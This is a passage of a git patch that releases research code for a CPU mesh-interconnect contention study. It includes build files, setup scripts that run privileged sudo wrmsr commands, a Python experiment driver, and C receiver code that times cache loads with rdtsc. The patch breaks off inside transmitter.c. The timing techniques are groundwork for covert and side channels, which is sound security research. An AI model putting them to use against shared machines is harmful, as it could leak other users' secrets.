From 771f002763536ce3861507516c557bb6678862c4 Mon Sep 17 00:00:00 2001 From: Miles Dai Date: Wed, 10 Aug 2022 23:20:55 -0400 Subject: [PATCH] Don't Mesh Around public code release --- .gitignore | 22 + 01-noc-reverse-engineering/Makefile | 46 + 01-noc-reverse-engineering/README.md | 38 + 01-noc-reverse-engineering/cleanup-sem.c | 22 + 01-noc-reverse-engineering/cleanup.sh | 16 + .../placement-experiments.py | 128 ++ 01-noc-reverse-engineering/receiver.c | 296 ++++ 01-noc-reverse-engineering/run-single.sh | 40 + 01-noc-reverse-engineering/setup-sem.c | 26 + 01-noc-reverse-engineering/setup.sh | 13 + .../transmitter-no-loads.c | 50 + 01-noc-reverse-engineering/transmitter.c | 325 +++++ 02-covert-channel/Makefile | 46 + 02-covert-channel/README.md | 41 + 02-covert-channel/cleanup-sem.c | 22 + 02-covert-channel/cleanup.sh | 18 + 02-covert-channel/plot-capacity-figure.py | 86 ++ 02-covert-channel/plot-channel-bits-figure.py | 103 ++ 02-covert-channel/print-errors.py | 229 +++ 02-covert-channel/print-interval-for-rate.py | 16 + 02-covert-channel/receiver-no-ev.c | 205 +++ 02-covert-channel/run-all-capacity.sh | 49 + 02-covert-channel/run-all-covert.sh | 41 + 02-covert-channel/setup-sem.c | 26 + 02-covert-channel/setup.sh | 13 + 02-covert-channel/transmitter.c | 330 +++++ 03-side-channel/Makefile | 35 + 03-side-channel/README.md | 123 ++ 03-side-channel/cleanup.sh | 8 + .../mesh-monitor-full-key-per-iteration.c | 476 +++++++ 03-side-channel/mesh-monitor.c | 345 +++++ 03-side-channel/orchestrator.py | 832 +++++++++++ 03-side-channel/scutil/dont-mesh-around.c | 202 +++ 03-side-channel/scutil/dont-mesh-around.h | 91 ++ 03-side-channel/setup.sh | 6 + 03-side-channel/victim/libgcrypt-1.5.2.patch | 389 +++++ 03-side-channel/victim/libgcrypt-1.6.3.patch | 298 ++++ 04-analytical-model/README.md | 90 ++ 04-analytical-model/config.py | 83 ++ 04-analytical-model/make-heatmap.py | 40 + 04-analytical-model/model-verification.py | 132 ++ .../plot-mitigation-effectiveness.py | 106 ++ 04-analytical-model/predict_contention.py | 193 +++ 04-analytical-model/tests.py | 57 + 04-analytical-model/utils.py | 101 ++ LICENSE | 21 + README.md | 42 + img/ecdsa.png | Bin 0 -> 63355 bytes img/model-verification.png | Bin 0 -> 130142 bytes img/rsa.png | Bin 0 -> 49983 bytes requirements.txt | 18 + util/cleanup.sh | 15 + util/machine_const.c | 16 + util/machine_const.h | 102 ++ util/pfn_util.c | 52 + util/pfn_util.h | 13 + util/pmon_reg_defs.h | 70 + util/pmon_utils.c | 573 ++++++++ util/pmon_utils.h | 70 + util/setup-prefetch-on.sh | 18 + util/setup.sh | 18 + util/skx_hash_utils.c | 57 + util/skx_hash_utils.h | 5 + util/skx_hash_utils_addr_mapping.h | 2 + util/util.c | 1255 +++++++++++++++++ util/util.h | 74 + 66 files changed, 8275 insertions(+) create mode 100644 .gitignore create mode 100644 01-noc-reverse-engineering/Makefile create mode 100644 01-noc-reverse-engineering/README.md create mode 100644 01-noc-reverse-engineering/cleanup-sem.c create mode 100755 01-noc-reverse-engineering/cleanup.sh create mode 100644 01-noc-reverse-engineering/placement-experiments.py create mode 100644 01-noc-reverse-engineering/receiver.c create mode 100755 01-noc-reverse-engineering/run-single.sh create mode 100644 01-noc-reverse-engineering/setup-sem.c create mode 100755 01-noc-reverse-engineering/setup.sh create mode 100644 01-noc-reverse-engineering/transmitter-no-loads.c create mode 100644 01-noc-reverse-engineering/transmitter.c create mode 100644 02-covert-channel/Makefile create mode 100644 02-covert-channel/README.md create mode 100644 02-covert-channel/cleanup-sem.c create mode 100755 02-covert-channel/cleanup.sh create mode 100644 02-covert-channel/plot-capacity-figure.py create mode 100644 02-covert-channel/plot-channel-bits-figure.py create mode 100644 02-covert-channel/print-errors.py create mode 100644 02-covert-channel/print-interval-for-rate.py create mode 100644 02-covert-channel/receiver-no-ev.c create mode 100755 02-covert-channel/run-all-capacity.sh create mode 100755 02-covert-channel/run-all-covert.sh create mode 100644 02-covert-channel/setup-sem.c create mode 100755 02-covert-channel/setup.sh create mode 100644 02-covert-channel/transmitter.c create mode 100644 03-side-channel/Makefile create mode 100644 03-side-channel/README.md create mode 100755 03-side-channel/cleanup.sh create mode 100644 03-side-channel/mesh-monitor-full-key-per-iteration.c create mode 100644 03-side-channel/mesh-monitor.c create mode 100755 03-side-channel/orchestrator.py create mode 100644 03-side-channel/scutil/dont-mesh-around.c create mode 100644 03-side-channel/scutil/dont-mesh-around.h create mode 100755 03-side-channel/setup.sh create mode 100644 03-side-channel/victim/libgcrypt-1.5.2.patch create mode 100644 03-side-channel/victim/libgcrypt-1.6.3.patch create mode 100644 04-analytical-model/README.md create mode 100644 04-analytical-model/config.py create mode 100644 04-analytical-model/make-heatmap.py create mode 100644 04-analytical-model/model-verification.py create mode 100644 04-analytical-model/plot-mitigation-effectiveness.py create mode 100644 04-analytical-model/predict_contention.py create mode 100644 04-analytical-model/tests.py create mode 100644 04-analytical-model/utils.py create mode 100644 LICENSE create mode 100644 README.md create mode 100644 img/ecdsa.png create mode 100644 img/model-verification.png create mode 100644 img/rsa.png create mode 100644 requirements.txt create mode 100755 util/cleanup.sh create mode 100644 util/machine_const.c create mode 100644 util/machine_const.h create mode 100644 util/pfn_util.c create mode 100644 util/pfn_util.h create mode 100644 util/pmon_reg_defs.h create mode 100644 util/pmon_utils.c create mode 100644 util/pmon_utils.h create mode 100755 util/setup-prefetch-on.sh create mode 100755 util/setup.sh create mode 100644 util/skx_hash_utils.c create mode 100644 util/skx_hash_utils.h create mode 100644 util/skx_hash_utils_addr_mapping.h create mode 100644 util/util.c create mode 100644 util/util.h diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0395c69 --- /dev/null +++ b/.gitignore @@ -0,0 +1,22 @@ +# Binary and object files +bin +obj +out +*.o + +# Python +__pycache__ +venv +*.pyc + +# Experiment outputs +data +models +plot +*.pdf +*.out +*.log + +# 03-side-channel libgcrypt repos +03-side-channel/victim/libgcrypt-1.5.2 +03-side-channel/victim/libgcrypt-1.6.3 diff --git a/01-noc-reverse-engineering/Makefile b/01-noc-reverse-engineering/Makefile new file mode 100644 index 0000000..8fd7f43 --- /dev/null +++ b/01-noc-reverse-engineering/Makefile @@ -0,0 +1,46 @@ +CC:= gcc +HOSTNAME := $(shell hostname|awk '{print toupper($$0)'}) +CFLAGS:= -O3 -D_POSIX_SOURCE -D_GNU_SOURCE -m64 -D$(HOSTNAME) +CFLAGSO1:= -O1 -D_POSIX_SOURCE -D_GNU_SOURCE -m64 -D$(HOSTNAME) +LIBS:= -lpthread -lrt + +all: obj bin out plot transmitter transmitter-no-loads receiver setup-sem cleanup-sem + +transmitter: obj/transmitter.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +transmitter-no-loads: obj/transmitter-no-loads.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +receiver: obj/receiver.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +setup-sem: obj/setup-sem.o + $(CC) -o bin/$@ $^ $(LIBS) + +cleanup-sem: obj/cleanup-sem.o + $(CC) -o bin/$@ $^ $(LIBS) + +# pmon_utils needs to be compiled with -O1 for the get_corresponding_cha function to work +../util/pmon_utils.o: ../util/pmon_utils.c + $(CC) -c $(CFLAGSO1) -o $@ $^ + +obj/%.o: %.c + $(CC) -c $(CFLAGS) -o $@ $< + +obj: + mkdir -p $@ + +bin: + mkdir -p $@ + +out: + mkdir -p $@ + +plot: + mkdir -p $@ + +clean: + rm -rf bin obj + +.PHONY: all clean diff --git a/01-noc-reverse-engineering/README.md b/01-noc-reverse-engineering/README.md new file mode 100644 index 0000000..3d59471 --- /dev/null +++ b/01-noc-reverse-engineering/README.md @@ -0,0 +1,38 @@ +# Mesh Interconnect Reverse Engineering + +These scripts facilitate running the transmitter and receiver in different configurations. +We use experiments to confirm our lane scheduling policy and priority arbitration policy. +These scripts generate data for Figure 6. + +## Prerequisites + +- Make all artifacts with `make` +- Ensure that the Python virtual environment has been installed in the parent directory +- Run `./setup.sh` to prepare the machine + +## Running the Case Studies + +**Expected Runtime: 3 min** + +Running `sudo ../venv/bin/python placement-experiments.py` will produce data that aligns with Figure 6. +Run `./cleanup.sh` to restore the machine settings. + +## Troubleshooting + +The following are some commonly-observed issues with this script. + +- **I see many large negative latency difference values.** + + There are probably too many L1/L2 cache hits that are not being filtered out correctly. + You can examine the output latency values in `data/{placement-config}/tx_on.out` and `data/{placement-config}/tx_off.out` + `placement-config` is a 6-number string of the following form: `{tx_core}-{tx_slice_a}-{tx_slice_b}-{monitor_core}-{monitor_ms_slice}-{monitor_ev_slice}` + + Adjust the values in the `filter_trace` function in `placement-experiments.py` to filter out the high and low outliers. + On our machine, the expected LLC access latency is around 70 cycles. + +- **A few reported values do not match Figure 6.** + + These experiments are sensitive to noise and may require running a few re-runs to collect all the data accurately. + Additionally, values with magnitude less than or equal to 0.5 are considered 0 contention difference. + Configurations that incur slice port contention (indicated by the hatch-shaded boxes) can have higher variability than other squares. + These configurations may occasionally see contention differences slightly below 5 or above 10. diff --git a/01-noc-reverse-engineering/cleanup-sem.c b/01-noc-reverse-engineering/cleanup-sem.c new file mode 100644 index 0000000..2e3c176 --- /dev/null +++ b/01-noc-reverse-engineering/cleanup-sem.c @@ -0,0 +1,22 @@ +#include /* For O_* constants */ +#include /* For mode constants */ +#include +#include +#include + +int main(int argc, char const *argv[]) +{ + if (sem_unlink("setup_sem") != 0) { + perror("Unlink setup_sem"); + } + + if (sem_unlink("tx_ready") != 0) { + perror("Unlink tx_ready"); + } + + if (sem_unlink("rx_ready") != 0) { + perror("Unlink rx_ready"); + } + + return 0; +} diff --git a/01-noc-reverse-engineering/cleanup.sh b/01-noc-reverse-engineering/cleanup.sh new file mode 100755 index 0000000..3e8f5fd --- /dev/null +++ b/01-noc-reverse-engineering/cleanup.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# Kill any stray transmitters in case run.sh did not terminate correctly +sudo killall -9 transmitter +sudo killall -9 transmitter-no-loads + +# Delete semaphores +sudo bin/cleanup-sem + +# Restore the various frequency settings, if they were changed +echo powersave | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor 2> /dev/null # set powersave governor +echo 0 | sudo tee /sys/devices/system/cpu/intel_pstate/no_turbo # re-enables turbo boost +sudo wrmsr 0x620 0xc18 # re-sets the uncore frequency range + +# Restore environment after running experiments +../util/cleanup.sh diff --git a/01-noc-reverse-engineering/placement-experiments.py b/01-noc-reverse-engineering/placement-experiments.py new file mode 100644 index 0000000..5dbd557 --- /dev/null +++ b/01-noc-reverse-engineering/placement-experiments.py @@ -0,0 +1,128 @@ +import subprocess +from collections import namedtuple + +import numpy as np + +Placement = namedtuple('Placement', 'tx_core tx_slice_a tx_slice_b rx_core rx_ms_slice rx_ev_slice') + +DIVIDER = '=' * 40 + +DIE_LAYOUT = [ + [0, 4, 9, 13, 17, 22], + [-1, 5, 10, 14, 18, -1], + [1, 6, 11, 15, 19, 23], + [2, 7, 12, -1, 20, 24], + [3, 8, -1, 16, 21, 25] +] + + +def print_coord(slice_id): + """Return a string that represents slice_id using the notation from the paper.""" + coord = None + for r, row in enumerate(DIE_LAYOUT): + if slice_id in row: + coord = (row.index(slice_id), r) + if coord is None: + print(f'Error: could not find Slice ID {slice_id} in DIE_LAYOUT') + return f'({coord[1]},{coord[0]})' + + +def get_placement_path(p): + """Return the path for the data of the experiment with placment p.""" + return f'data/{p.tx_core}-{p.tx_slice_a}-{p.tx_slice_b}-{p.rx_core}-{p.rx_ms_slice}-{p.rx_ev_slice}' + + +def test_placement(p): + """Run a single test with a specific tx/rx placement. + + p: Placement consisting of tx_core, tx_slice_a, tx_slice_b, rx_core, rx_ms_slice rx_ev_slice + Output traces are stored in data/{tx_core}-{tx_slice_a}-{tx_slice_b}-{rx_core}-{rx_ms_slice}-{rx_ev_slice}/ + The output traces should be named tx_on.log and tx_off.log. + """ + output_path = get_placement_path(p) + cmd = f'./run-single.sh {p.tx_core} {p.tx_slice_a} {p.tx_slice_b} {p.rx_core} {p.rx_ms_slice} {p.rx_ev_slice} {output_path}'.split(' ') + subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + +def load_trace(filepath): + return np.genfromtxt(filepath, delimiter=' ') + + +def filter_trace(trace, percentile=10): + upper_thresh = 100 + lower_thresh = 40 + return trace[np.logical_and(trace > lower_thresh, trace < upper_thresh)] + + +def get_latency_diff(p): + """Post-process a set of tx_on/tx_off traces to get the latency difference.""" + exp_path = get_placement_path(p) + tx_on_trace = load_trace(f'{exp_path}/tx_on.log') + tx_off_trace = load_trace(f'{exp_path}/tx_off.log') + tx_on_mean = np.mean(filter_trace(tx_on_trace[:, 1])) + tx_off_mean = np.mean(filter_trace(tx_off_trace[:, 1])) + return round(tx_on_mean - tx_off_mean, 1) + + +def lane_scheduling_case_study(): + """Reproduce Figure 6a from the paper. + + This case study demonstrates the lane scheduling policy. + The receiver monitors Core(0,2) -> Slice(0,3). + The transmitter is varied across all possible positions within the row. + """ + print(f'{DIVIDER}\nLane Scheduling Policy Case Study') + print(f'Receiver: {print_coord(9)}->{print_coord(13)}') + print('Transmitter\tLatency Difference') + row_0 = [0, 4, 9, 13, 17, 22] + rx_core = 9 + rx_ms_slice = 13 + rx_ev_slice = rx_core # use a local EV slice + for tx_core in row_0: + if tx_core == rx_core: + continue + tx_slice_b = tx_core # use a local EV slice + for tx_slice_a in row_0: + p = Placement(tx_core, tx_slice_a, tx_slice_b, rx_core, rx_ms_slice, rx_ev_slice) + test_placement(p) + diff = get_latency_diff(p) + print(f'{print_coord(p.tx_core)}->{print_coord(p.tx_slice_a)}:\t{diff:4.1f}') + print(f'{DIVIDER}\n') + + +def priority_arbitration_case_study(): + """Reproduce Figure 6b from the paper. + + This case study demonstrates the priority arbitration policy. + The receiver monitors Core(0,0) -> Slice(0,5). + The transmitter is varied across all possible positions within the row. + """ + + print(f'{DIVIDER}\nLane Scheduling Policy Case Study') + print(f'Receiver: {print_coord(0)}->{print_coord(22)}') + print('Transmitter\tLatency Difference') + row_0 = [0, 4, 9, 13, 17, 22] + rx_core = 0 + rx_ms_slice = 22 + rx_ev_slice = rx_core # use a local EV slice + for tx_core in row_0: + # Do not pin the tx and rx to the same core + if tx_core == rx_core: + continue + + tx_slice_b = tx_core # Use the local slice + for tx_slice_a in row_0: + p = Placement(tx_core, tx_slice_a, tx_slice_b, rx_core, rx_ms_slice, rx_ev_slice) + test_placement(p) + diff = get_latency_diff(p) + print(f'{print_coord(p.tx_core)}->{print_coord(p.tx_slice_a)}:\t{diff:4.1f}') + print(f'{DIVIDER}\n') + + +def main(): + lane_scheduling_case_study() + priority_arbitration_case_study() + + +if __name__ == '__main__': + main() diff --git a/01-noc-reverse-engineering/receiver.c b/01-noc-reverse-engineering/receiver.c new file mode 100644 index 0000000..a357e1b --- /dev/null +++ b/01-noc-reverse-engineering/receiver.c @@ -0,0 +1,296 @@ +#include "../util/machine_const.h" +#include "../util/util.h" +#include +#include +#include +#include + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ + +// Uncomment to print out the generated EV +// #define PRINT_DEBUG + +static inline void access_ev(struct Node *ev) +{ + // Access EV multiple times + for (int j = 0; j < 4; j++) { + struct Node *curr_node = ev; + while (curr_node && curr_node->next && curr_node->next->next) { + maccess(curr_node->address); + maccess(curr_node->next->address); + maccess(curr_node->next->next->address); + maccess(curr_node->address); + maccess(curr_node->next->address); + maccess(curr_node->next->next->address); + curr_node = curr_node->next; + } + } +} + +int main(int argc, char **argv) +{ + int i; + + // Check arguments + if (argc != 4) { + fprintf(stderr, "Wrong Input! Enter desired core ID, ms slice ID, ev slice ID\n"); + fprintf(stderr, "Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID + int core_ID; + sscanf(argv[1], "%d", &core_ID); + if (core_ID > NUM_CHA - 1 || core_ID < 0) { + fprintf(stderr, "Wrong core! core_ID should be less than %d and more than 0!\n", NUM_CORES_PER_SOCKET); + exit(1); + } + + // Parse MS slice number + int ms_slice; + sscanf(argv[2], "%d", &ms_slice); + if (ms_slice > LLC_CACHE_SLICES - 1 || ms_slice < 0) { + fprintf(stderr, "Wrong slice! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + // Parse EV slice number + int ev_slice; + sscanf(argv[3], "%d", &ev_slice); + if (ev_slice > LLC_CACHE_SLICES - 1 || ev_slice < 0) { + fprintf(stderr, "Wrong slice! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + // Using fixed cache sets for this experiments + int ev_llc_set_1 = 5; + int ev_llc_set_2 = (ev_llc_set_1 + L2_CACHE_SETS) % LLC_CACHE_SETS_PER_SLICE; // The set 0 in L2 maps to sets 0 and 1024 in LLC + int ms_llc_set = ev_llc_set_1; + + // Prepare output filename + FILE *output_file = fopen("rx_out.log", "w"); + + // Allocate large buffer (pool of addresses) + void *buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // Pin the monitoring program to the desired core + int cpu = cha_id_to_cpu[core_ID]; + + pin_cpu(cpu); + + // Set the scheduling priority to high to avoid interruptions + // (lower priorities cause more favorable scheduling, and -20 is the max) + setpriority(PRIO_PROCESS, 0, -20); + + // Mutex to avoid colliding with tx when creating EVs + sem_t *setup_sem = sem_open("setup_sem", 0); + if (setup_sem == SEM_FAILED) { + perror("rx sem_open cha_pmon_sem"); + return -1; + } + sem_wait(setup_sem); + + // Prepare EV + int ev_size = 16; + struct Node *ev = NULL; + struct Node *curr_node = NULL; + + // Prepare monitoring set + int monitoring_set_size = 16; + void **monitoring_set = NULL; + void **current = NULL, **previous = NULL; + + uint64_t index1, index2, offset, candidate_addr; + + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, ev_slice, ev_llc_set_1); + + // Save this address in the EV set + append_string_to_linked_list(&ev, (void *)((uint64_t)buffer + offset)); + + // Get the L1, L2 and L3 cache set indexes of the EV set + index2 = get_cache_set_index((uint64_t)ev->address, 2); + index1 = get_cache_set_index((uint64_t)ev->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + curr_node = ev; + for (i = 1; i < ev_size; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same LLC cache set index + candidate_addr = (uint64_t)curr_node->address + offset; + while (index1 != get_cache_set_index(candidate_addr, 1) || + index2 != get_cache_set_index(candidate_addr, 2) || + ev_slice != get_cache_slice_index((void *)candidate_addr)) { + candidate_addr += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev, (void *)candidate_addr); + curr_node = curr_node->next; + } + +#ifdef PRINT_DEBUG + curr_node = ev; + while (curr_node != NULL) { + printf("Rx EV: %p: (%ld, %ld, %ld, %ld)\n", curr_node->address, + get_cache_set_index((uint64_t)(curr_node->address), 1), + get_cache_set_index((uint64_t)(curr_node->address), 2), + get_cache_set_index((uint64_t)(curr_node->address), 3), + get_cache_slice_index(curr_node->address)); + curr_node = curr_node->next; + } +#endif + + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, ms_slice, ms_llc_set); + + // Save this address in the monitoring set + monitoring_set = (void **)((uint64_t)buffer + offset); + + // Get the L1, L2 and L3 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)monitoring_set, 2); + index1 = get_cache_set_index((uint64_t)monitoring_set, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L3/L2/L1 + current = monitoring_set; + for (i = 1; i < monitoring_set_size; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + candidate_addr = (uint64_t)current + offset; + while (index1 != get_cache_set_index(candidate_addr, 1) || + index2 != get_cache_set_index(candidate_addr, 2) || + ms_slice != get_cache_slice_index((void *)candidate_addr)) { + +#ifdef PRINT_DEBUG + printf("Testing addr %p: index1=%2ld, index2=%2ld, index3=%4ld, ms_slice=%2ld\n", + (void *)candidate_addr, + get_cache_set_index(candidate_addr, 1), + get_cache_set_index(candidate_addr, 2), + get_cache_set_index(candidate_addr, 3), + get_cache_slice_index((void *)candidate_addr)); + #endif + + candidate_addr += L2_INDEX_STRIDE; + } + +#ifdef PRINT_DEBUG + printf("Add addr %p: index1=%2ld, index2=%2ld, index3=%2ld, ms_slice=%2ld\n", + (void *)(candidate_addr), + get_cache_set_index(candidate_addr, 1), + get_cache_set_index(candidate_addr, 2), + get_cache_set_index(candidate_addr, 3), + get_cache_slice_index((void *) candidate_addr)); +#endif + + // Set up pointer chasing. The idea is: *addr1 = addr2; *addr2 = addr3; and so on. + *current = (void *)(candidate_addr); + current = *current; + } + + // Make last item point back to the first one (useful for the loop) + *current = monitoring_set; + +#ifdef PRINT_DEBUG + // Print debug if needed + current = monitoring_set; + for (i = 0; i < monitoring_set_size; i++) { + printf("MS: %p: (%ld, %ld, %ld, %ld)\n", current, + get_cache_set_index((uint64_t)current, 1), + get_cache_set_index((uint64_t)current, 2), + get_cache_set_index((uint64_t)current, 3), + get_cache_slice_index(current)); + current = *current; + } +#endif + + // Allocate buffers for results + const int repetitions = 10000; + uint64_t *samples_x = (uint64_t *)malloc(sizeof(*samples_x) * repetitions); + uint32_t *samples_y = (uint32_t *)malloc(sizeof(*samples_y) * repetitions); + + // Release setup mutex + sem_post(setup_sem); + sem_close(setup_sem); + // Barrier for experiment start + sem_t *tx_ready = sem_open("tx_ready", 0); + sem_t *rx_ready = sem_open("rx_ready", 0); + if (tx_ready == SEM_FAILED || rx_ready == SEM_FAILED) { + perror("Rx failed to open barrier"); + exit(-1); + } + // Signal to tx that rx is ready + sem_post(rx_ready); + sem_wait(tx_ready); + + // Wait a bit (give time to the transmitter to warm up) + uint64_t cycles, end; + cycles = get_time(); + end = cycles + (uint64_t)500000; + while (cycles < end) { + cycles = get_time(); + } + + // Read monitoring set from memory into cache + // The addresses should all fit in the LLC + current = monitoring_set; + for (i = 0; i < monitoring_set_size; i++) { + asm volatile("movq (%0), %0" + : "+rm"(current) /* output */ ::"memory"); + } + + // Time LLC loads + current = monitoring_set; + for (i = 0; i < repetitions; i++) { + + if (i % (monitoring_set_size/1) == 0) { // evict on every repetition right now + access_ev(ev); + } + + // Time accesses to the monitoring set + asm volatile( + ".align 32\n\t" + "lfence\n\t" + "rdtsc\n\t" /* eax = TSC (timestamp counter)*/ + "shl $32, %%rdx\n\t" + "or %%rdx, %%rax\n\t" + + "movq %%rax, %%r8\n\t" /* r8 = rax; this is to back up rax into another register */ + + "movq (%2), %2\n\t" /* current = *current; LOAD */ + + "rdtscp\n\t" /* eax = TSC (timestamp counter) */ + "shl $32, %%rdx\n\t" + "or %%rdx, %%rax\n\t" + + "sub %%r8, %%rax\n\t" /* rax = rax - r8; get timing difference between the second timestamp and the first one */ + + "movq %%r8, %0\n\t" /* result_x[i] = r8 */ + "movl %%eax, %1\n\t" /* result_y[i] = eax */ + : "=rm"(samples_x[i]), "=rm"(samples_y[i]), "+rm"(current) /*output*/ + : + : "rax", "rcx", "rdx", "r8", "memory"); + } + + printf("Starting file write\n"); + // Store the samples to disk + for (i = 0; i < repetitions; i++) { + fprintf(output_file, "%" PRIu64 " %" PRIu32 "\n", samples_x[i], samples_y[i]); + } + printf("Ending file write\n"); + + // Free the buffers and file + munmap(buffer, BUF_SIZE); + fclose(output_file); + free(samples_x); + free(samples_y); + + sem_close(tx_ready); + sem_close(rx_ready); + + return 0; +} diff --git a/01-noc-reverse-engineering/run-single.sh b/01-noc-reverse-engineering/run-single.sh new file mode 100755 index 0000000..350b0d4 --- /dev/null +++ b/01-noc-reverse-engineering/run-single.sh @@ -0,0 +1,40 @@ +#!/bin/bash + +# This script runs a contention experiment for a single transmitter/receiver placement. +# Two traces are generated and placed in $OUTPUT_DIR: +# tx_on.log: receiver latency trace with the transmitter producing traffic on the network +# tx_off.log: receiver latency trace with a fake transmitter that spins without producing network traffic + +TX_CORE=$1 +TX_SLICE_A=$2 +TX_SLICE_B=$3 + +RX_CORE=$4 +RX_MS_SLICE=$5 +RX_EV_SLICE=$6 + +OUTPUT_DIR=$7 + +mkdir -p $OUTPUT_DIR + +# Kill any stray processes from previous runs +sudo killall -9 transmitter &> /dev/null +sudo killall -9 transmitter-no-loads &> /dev/null +sudo killall -9 receiver &> /dev/null + +sleep 0.5 +# Start transmitter +sudo ./bin/transmitter $TX_CORE $TX_SLICE_A $TX_SLICE_B & +# Start receiver +sudo ./bin/receiver $RX_CORE $RX_MS_SLICE $RX_EV_SLICE + +sudo killall -9 transmitter &> /dev/null +sudo mv rx_out.log $OUTPUT_DIR/tx_on.log + +sleep 0.5 +# Run with fake transmitter +sudo ./bin/transmitter-no-loads $TX_CORE & +sudo ./bin/receiver $RX_CORE $RX_MS_SLICE $RX_EV_SLICE + +sudo killall -9 transmitter-no-loads &> /dev/null +sudo mv rx_out.log $OUTPUT_DIR/tx_off.log diff --git a/01-noc-reverse-engineering/setup-sem.c b/01-noc-reverse-engineering/setup-sem.c new file mode 100644 index 0000000..dc81f1e --- /dev/null +++ b/01-noc-reverse-engineering/setup-sem.c @@ -0,0 +1,26 @@ +#include /* For O_* constants */ +#include /* For mode constants */ +#include +#include +#include +#include + +int main(int argc, char const *argv[]) +{ + if (sem_open("setup_sem", O_CREAT | O_EXCL, 0600, 1) == SEM_FAILED) { + perror("Opening setup_sem"); + return -1; + } + + if (sem_open("tx_ready", O_CREAT | O_EXCL, 0600, 0) == SEM_FAILED) { + perror("Opening tx_ready"); + return -1; + } + + if (sem_open("rx_ready", O_CREAT | O_EXCL, 0600, 0) == SEM_FAILED) { + perror("Opening rx_ready"); + return -1; + } + + return 0; +} diff --git a/01-noc-reverse-engineering/setup.sh b/01-noc-reverse-engineering/setup.sh new file mode 100755 index 0000000..c746901 --- /dev/null +++ b/01-noc-reverse-engineering/setup.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +# Clean up the environment before running experiments +../util/setup.sh + +# Fix various frequencies (optional) +# These comamnds facilitate analyzing the latency measurements +echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor 2> /dev/null # set performance governor +echo 1 | sudo tee /sys/devices/system/cpu/intel_pstate/no_turbo # disables turbo boost +sudo wrmsr 0x620 0x1616 # pins the uncore frequency to 2.2 GHz + +# Create semaphores +sudo bin/setup-sem diff --git a/01-noc-reverse-engineering/transmitter-no-loads.c b/01-noc-reverse-engineering/transmitter-no-loads.c new file mode 100644 index 0000000..b33dcbd --- /dev/null +++ b/01-noc-reverse-engineering/transmitter-no-loads.c @@ -0,0 +1,50 @@ +#include "../util/util.h" +#include "../util/machine_const.h" +#include +#include + +int main(int argc, char **argv) +{ + int i; + + // Check arguments + if (argc != 2) { + fprintf(stderr, "Wrong Input! Enter desired core ID, slice A ID, slice B ID, set ID, and tx_ID!\n"); + printf("Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID (CHA) + int core; + sscanf(argv[1], "%d", &core); + if (core > NUM_CHA - 1 || core < 0) { + fprintf(stderr, "Wrong core! core_ID should be less than %d and more than 0!\n", NUM_CHA); + exit(1); + } + + // Set the scheduling priority to high to avoid interruptions + // (lower priorities cause more favorable scheduling, and -20 is the max) + setpriority(PRIO_PROCESS, 0, -20); + + // Pin the monitoring program to the desired core + int cpu = cha_id_to_cpu[core]; + // printf("Pinning to cpu %d\n", cpu); + pin_cpu(cpu); + + // Barrier for experiment start + sem_t *tx_ready_sem = sem_open("tx_ready", 0); + sem_t *rx_ready_sem = sem_open("rx_ready", 0); + if (tx_ready_sem == SEM_FAILED || rx_ready_sem == SEM_FAILED) { + perror("sem_open tx_ready or rx_ready in transmitter-no-loads"); + return -1; + } + + // Signal to rx that tx is ready (and not using the NoC) + sem_post(tx_ready_sem); + sem_wait(rx_ready_sem); + + // Spam the ring interconnect (until killed) + while (1) { } + + return 0; +} diff --git a/01-noc-reverse-engineering/transmitter.c b/01-noc-reverse-engineering/transmitter.c new file mode 100644 index 0000000..6309d76 --- /dev/null +++ b/01-noc-reverse-engineering/transmitter.c @@ -0,0 +1,325 @@ +#include "../util/util.h" +#include "../util/machine_const.h" +#include +#include +#include +#include +#include +#include + +// Uncomment to print out the generated EV +// #define PRINT_EV_DEBUG + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ + +struct Node* generate_ev(struct Node **start_ptr, int ev_size, int llc_slice, int llc_set, void *buffer); +struct Node *merge_ev_arrays(uint64_t *ev_list[], int num_evs, int ev_size); +void generate_ev_array(uint64_t *ev, int ev_size, int llc_slice, int llc_set, void *buffer); + +int main(int argc, char **argv) +{ + int i; + + // Check arguments + if (argc != 4) { + fprintf(stderr, "Wrong Input! Enter desired core ID, slice A ID, slice B ID!\n"); + printf("Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID (CHA) + int core; + sscanf(argv[1], "%d", &core); + if (core > NUM_CHA - 1 || core < 0) { + fprintf(stderr, "Wrong core! core_ID should be less than %d and more than 0!\n", NUM_CORES_PER_SOCKET); + exit(1); + } + + // Parse slice A number + int 